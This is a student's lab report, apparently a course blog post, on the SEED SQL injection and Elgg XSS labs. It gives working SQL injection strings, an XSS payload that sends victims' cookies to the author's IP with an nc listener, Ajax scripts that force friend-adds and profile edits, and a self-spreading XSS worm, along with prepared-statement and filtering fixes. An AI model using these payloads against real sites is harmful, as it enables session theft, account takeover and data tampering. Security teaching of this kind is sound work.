20212818 2021-2022-2 《网络攻防实践》实践十

一、实践内容

1、SQL注入攻击

(1)定义:

  SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。对于Web应用程序而言,用户核心数据存储在数据库中,例如MySQL、SQL Server、Oracle,SQL注入即攻击者通过构造特殊的SQL语句,入侵目标系统,致使后台数据库泄露数据的过程。通过SQL注入攻击,可以获取、修改、删除数据库信息,并且通过提权来控制Web服务器等其他操作。因为SQL注入漏洞造成的严重危害性,所以常年稳居OWASP TOP10的榜首。
(2)SQL注入的危害

  • 拖库导致用户数据泄漏。
  • 危害web等应用的安全。
  • 失去操作系统的控制权。
  • 用户信息被非法买卖。
  • 危害企业及国家的安全。

(3)SQL注入分类

  根据输入的 “参数”类型,可以将SQL注入分为两大类:“ 数值型”注入、 “字符型”注入。具体的分类方式如下图:

 

2、 xss跨站脚本攻击

(1)定义

  XSS攻击是指攻击者利用网站程序对用户输入过滤不足的缺陷,输入可以显示在页面上或者对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。

(2)实质

       跨站脚本攻击本质上是一种将恶意脚本嵌入到当前页面中并执行的攻击方式。通常黑客通过“HTML注入”行为篡改网页,并插入恶意JavaScript(JS)脚本,从而在用户浏览网页时控制浏览器的行为。

(3)xss攻击类型

  • 反射型XSS:浏览器—服务器交互

  将用户输入的数据通过URL的形式直接或未经过完善的安全过滤就在浏览器中进行输出,导致输出的数据中存在可被浏览器执行的代码数据(黑客通常需要通过诱骗或者加密变形等方式,将恶意代码的链接发送给用户,用户触发后才能攻击成功)

  • 存储型XSS:浏览器—服务器—数据库交互(可直接产生大范围危害,具有较强的稳定性)

  web应用程序将用户输入的数据信息保存在服务端的数据库或者其他文件形式中,网页进行数据查询展示时,会从数据库中获取数据内容,并将数据内容在网页中进行输出展示,只要用户访问具有XSS攻击脚本的网页时,就会触发攻击

  • DOM型XSS:浏览器—服务器交互(由于构造语句难度较大,比较少见)

  是由JavaScript的DOM节点编程可以改变HTML代码的特性形成的XSS攻击,需要针对具体的JavaScript DOM代码进行分析,从而利用

二、实践过程

任务一:SEED SQL注入攻击与防御实验

  我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

 

  • 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。

  • 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

  • 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

  • SQL对抗:修复上述SQL注入攻击漏洞。

首先熟悉SQL语句:

  打开SEEDUbuntu虚拟机。

  登录 MySQL 数据库,命令为:mysql -u root -p(注意进入root模式)。

 

  使用系统创建好的 Users 数据库:命令为:use Users;(注意命令结束符分号)。

 

 

  查看该数据库下所有的表,命令为:show databases;(注意命令结束符分号)。

 

 

   查询表中的所有记录,命令为:select * from credential;(注意命令结束符分号)。

 

   尝试进行条件查询,命令为:select * from credential where ID = '1';(注意命令结束符分号),表示筛选ID为1的信息,只查询到了一条记录。

 

 

 接下来对select语句进行SQL注入攻击:

  打开SEEDUbuntu的火狐浏览器,输入网址http://www.seedlabsqlinjection.com/

 

   查看网页源代码,直接在网页页面按快捷键:ctrl+U。

 

  代码的主体如下图, 代码逻辑主要是:用户输入自己的信息,点击提交后,将用户输入的信息使用get方法提交至unsafe_home.php,然后进行信息验证。

 

 

  接下来分析php 页面,在终端输入命令:cd /var/www/SQLInjection/,因为网站对应的文件在此地址中。

 

 

 

  查看unsafe_home.php页面的源码,在这个页面我们可以进行SQL注入攻击,我们可以通过vim unsafe_home.php查看对应的源码。

 

 

  修改下面的代码,将$input_uname修改为Wenjin,并注释掉Password,注意要进入root模式,否则没有权限修改代码。

 

 

 

 

 

 

 

   然后我们进入火狐浏览器,再次进入http://www.seedlabsqlinjection.com/页面,在用户名处输入Admin,不输入密码,点击login,登陆成功。则SQL注入攻击成功。

 

 

 

 对 UPDATE 语句的 SQL 注入攻击:

  同样首先进入文件夹var/www/SQLInjection,命令为cd /var/www/SQLInjection/,然后打开unsafe_edit_backend.php,命令为:vim unsafe_edit_backend.php,在里面查找动态构建的SQL语句。

 

 

 

  点击网页上的edit profile

 

  在nickname中输入:', salary='10086' where Name='Alice';#

  然后点击save。

  可以看到Alice的salary由20000变为10086,则SQL注入攻击成功。

 

 

 

SQL对抗,修复上述SQL注入攻击漏洞:

  这里进行SQL注入漏洞处理的关键是进行预处理,所以我们使用预处理语句,将代码做如下修改:

  unsafe_home.php中的select原代码如下图所示:

 

 

  将其修改为:

$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);

  修改完成后再进行select语句SQL注入攻击,会显示有error,证明攻击失败,则修改成功。

  将unsafe_edit_backend.php的源代码中,将原来的UPDATE语句修改为:
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);

  再进行UPDATE语句SQL注入攻击,会无法修改用户内容,证明SQL注入攻击失败,则代码修改成功。 

 

任务二:

SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

  • 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

  • 弹窗显示cookie信息:将cookie信息显示。

  • 窃取受害者的cookies:将cookie发送给攻击者。

  • 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。

  • 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

  • 编写XSS蠕虫。

  • 对抗XSS攻击

 

发布恶意消息,显示警报窗口:

  在火狐浏览器中打开书签XSS Lab Site(http://www.xsslabelgg.com),用Alice的账号信息登录,用户名为Alice,密码seedalice。

 

 

   登录成功之后的页面

 

  然后我们尝试输入攻击代码,首先点击Alice头像,然后点击Edit profile,找到Brief description。

 

 

 

 

 

 

  在Brief description中输入XSS攻击代码,代码为:<script> alert('xss');</script>

  输入完成后点击save。

 

 

  可以看到有内容为xss的弹窗,点击ok之后,弹窗消失,再刷新当前的网页,又出现xss弹窗。证明已成功发布恶意消息,显示警报窗口。

 

 

 

 

弹窗显示cookie信息:将cookie信息显示:

 

  和上面类似,在Brief description中输入XSS攻击代码,代码为:<script>alert(document.cookie);</script>

 

 

  点击保存之后,出现一个包含cookie信息的弹窗。点击ok之后,弹窗消失,再刷新当前的网页,又出现xss弹窗。则证明成功使弹窗显示cookie信息。

 

 

 

 

窃取受害者的cookies:将cookie发送给攻击者:

  查询本机的ip地址为192.168.155.185:

 

 

  上一个XSS攻击获取的cookie信息仅仅显示到了弹窗,这里我们需要将cookie发送给攻击者。

  同样在Alice的Brief description中输入攻击代码,这次的xss攻击代码为:<script>document.write('<img src=http://192.168.155.185:2813?c='+escape(document.cookie) + ' >');</script>,其中192.168.155.185是自己seedubuntu的IP地址,2813是任意的一个没有被占用的端口。这个攻击代码的意思是将受害者(Boby)的cookie信息发送给攻击者(Alice)。

 

 

   登录boby的账号,账号为Boby,密码为seedboby。

 

 

   监听2813号端口,命令为:nc -l 2813 -v。

 

  使用Boby的账号访问Alice 的主页(在搜索栏里搜索Alice)。

 

 

 

 

 

 

 

 成为受害者的朋友:

  首先打开火狐浏览器的Network页面,快捷键为:ctrl+shift+E。

  然后在搜索框中输入Boby,回车以访问boby。

 

查找到Boby后,点击其头像,选择Add friend。

 

 

 

 

 

 

 

 

 

  可以观察到POST请求。

  其中Request URL是:http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=1653236946&__elgg_token=slMLg70yr6ZYrOW5BDZX

  可以观察到这里用了三个参数:friend、__elgg_ts、__elgg_token,分别代表好友、时间、身份认证;

  请求的地址是http://www.xsslabelgg.com/action/friends/add

 

 

 

 

 

 

 

  于是构建xss攻击代码如下所示:

<script type="text/javascript">
window.onload = function () {
    var Ajax=null;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;


    //构造http请求添加好友
    var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;

    //创建并发送Ajax请求添加好友
    Ajax=new XMLHttpRequest();
    Ajax.open("GET",sendurl,true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    Ajax.send();
}
</script>

  将上面的xss攻击代码放到Alice的About me下,注意选择Edit HTML模式,然后点击Save。

 

  用Boby的账号访问Alice主页,然后返回Boby主页,发现Alice已经成为Boby的朋友。

 

 

 修改受害者的信息:

   打开火狐浏览器的Network页面,快捷键为:ctrl+shift+E。

  先将Alice的About me修改为任意信息,如:20212818,并Network查看信息:

 

 通过Network可以观察到post请求:

请求的地址是http://www.xsslabelgg.com/action/profile/edit

POST提交的数据分别为:__elgg_token__elgg_tsname和phone等等

 

 

 此次设计的xss攻击代码为:

<script type="text/javascript">
    window.onload = function(){
        //JavaScript code 访问 user name, user guid, Time Stamp __elgg_ts and Security Token __elgg_token
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;

        //构建url内容
        var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        alert(content)
        //FILL IN
        var samyGuid=44;
        //FILL IN
        if(elgg.session.user.guid!=samyGuid)
        {
            //创建并发送Ajax请求给modify profile
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>

  同样将这段代码放在Alice的about me中,并点击save。

 

 然后登录Boby,用Boby的账号访问Alice的主页,再返回Boby的主页,发现Boby的about me已经被改变了(Boby的about me本来为空)。则攻击成功了。

 

 编写 XSS 蠕虫:

  蠕虫感染可以使不同用户之间相互传播感染,代码如下:

<script id="worm" type="text/javascript">
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>"; 
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;

        //Construct the content of your url.
        var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        alert(content)

        var samyGuid=44;

        if(elgg.session.user.guid!=samyGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>

  将这段代码同样放入Alice的about me中,并点击save。

 

   用Boby访问Alice主页,然后返回Boby主页,发现Boby被感染。

 

  登录Samy账号,密码为seedsamy。同样,用Samy访问Boby主页,然后返回Samy主页,发现Samy被感染。说明xss蠕虫编写成功。

 

 

 对抗xss攻击:

  可以使用插件HTMLawed禁止部分代码块的执行,以保证安全,它可以对用户的输入输出进行校验并且过滤标签。

  也可以使用禁用JavaScript渲染的功能,这样也可避免这类攻击。

 

 

三、学习中遇到的问题及解决

问题:刚开始用的SEEDUbuntu中没有user表

解决办法:重新安装了有user表的SEEDUbuntu版本。

四、实践总结

   本次实验让我认识了SQL注入攻击与XSS攻击,认识到了日常生活中网络攻击的危害并动手实践了SQL注入攻击与XSS攻击,感觉对网络攻防的知识掌握得更多了。这次实验也比较耗时,涉及到的知识比较多,考察了我的知识掌握水平,也让我认识到要脚踏实地一步一步做才能好好完成手上的工作。

posted @ 2022-05-22 21:06  蔡蔡文姬  阅读(82)  评论(0编辑  收藏  举报